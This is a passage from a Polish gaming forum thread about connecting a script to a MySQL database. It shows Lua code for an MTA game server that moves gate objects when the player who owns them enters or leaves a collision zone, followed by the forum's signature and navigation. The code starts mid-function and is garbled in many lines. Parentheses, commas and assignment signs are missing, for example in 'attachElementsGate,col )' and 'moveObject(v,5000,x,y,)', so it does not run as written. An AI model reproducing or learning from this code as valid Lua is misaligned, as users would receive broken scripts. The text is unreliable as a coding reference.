        setElementData(col,"GateMove:Permission",getPlayerName(plr))
        setElementData(col,"GateState:X",x)
        setElementData(col,"GateState:Y",y)
        setElementData(col,"GateState:Z",z)

        setElementData(col,"GateState:RX",rotX)
        setElementData(col,"GateState:RY",rotY)
        setElementData(col,"GateState:RZ",rotZ)


        setElementData(col,"GateValue",value)
        if type == "Left" then
        setElementData(col,"GateMove","Left")
        elseif type == "Right" then
        setElementData(col,"GateMove","Right")
        elseif type == "Up" then
        setElementData(col,"GateMove","Up")    
        elseif type == "Down" then    
        setElementData(col,"GateMove","Down")    
        else
        destroyElement(Gate)
        destroyElement(col)
        outputChatBox("Nie wybrano typu otwierania bramy",plr,150,0,0)
        return false
        end    
        attachElementsGate,col )
        addEventHandler "onColShapeHit"colEnter_Gate )
        addEventHandler "onColShapeLeave"colLeave_Gate )
            end


        end
    end
end)

function Enter_Gate thePlayermatchingDimension )
        if getElementType thePlayer ) == "player" then 
        local el=getAttachedElements(source)
        if getElementData(source,"GateMove:Permission") == getPlayerName(thePlayerthen

        for i,v in ipairs(el) do
        if getElementType(v)=="object" then
        local x,y,getElementPosition(v)
        local value getElementData(source,"GateValue")
        local rz getElementData(source,"GateState:RZ")

        local type getElementData(source,"GateMove")
        if type == "Left" then
        moveObject(v,5000,x-value,y,z)
        elseif type == "Right" then
        moveObject(v,5000,x+value,y,z)
        elseif type == "Up" then
        moveObject(v,5000,x,y,z+value)
        elseif type == "Down" then    
        moveObject(v,5000,x,y,z-value)    
        end


        end       

        end
     end   
end
end
 

function Leave_Gate thePlayermatchingDimension )
        if getElementType thePlayer ) == "player" then 
        if getElementData(source,"GateMove:Permission") == getPlayerName(thePlayerthen
        

        local el=getAttachedElements(source)
        for i,v in ipairs(el) do
        if getElementType(v)=="object" then
        local x getElementData(source,"GateState:X")
        local y getElementData(source,"GateState:Y")
        local z getElementData(source,"GateState:Z") 
        moveObject(v,5000,x,y,)
        end
        end      

    end
end
end


Podpis
Pomogłem? Wystarczy że podziękujesz albo dasz respekt :D
Wole respekt niz piwka :P
Postaw piwo autorowi tego posta
 

 
Tagi: podpinanie :: skryptu :: pod :: baze :: mysql
Anonymous





Na forum: 245 dni
Posty: 1



Anonymous Koniecznie zajrzyj na:






Skocz do:  
Wyświetl posty z ostatnich:   
GTAONLINE.PL » JĘZYKI PROGRAMOWANIA » LUA » Podpinanie skryptu pod baze mysql Ten temat jest zablokowany bez możliwości zmiany postów lub pisania odpowiedzi

Nie możesz pisać nowych tematów
Nie możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach
Dodaj temat do Ulubionych
Wersja do druku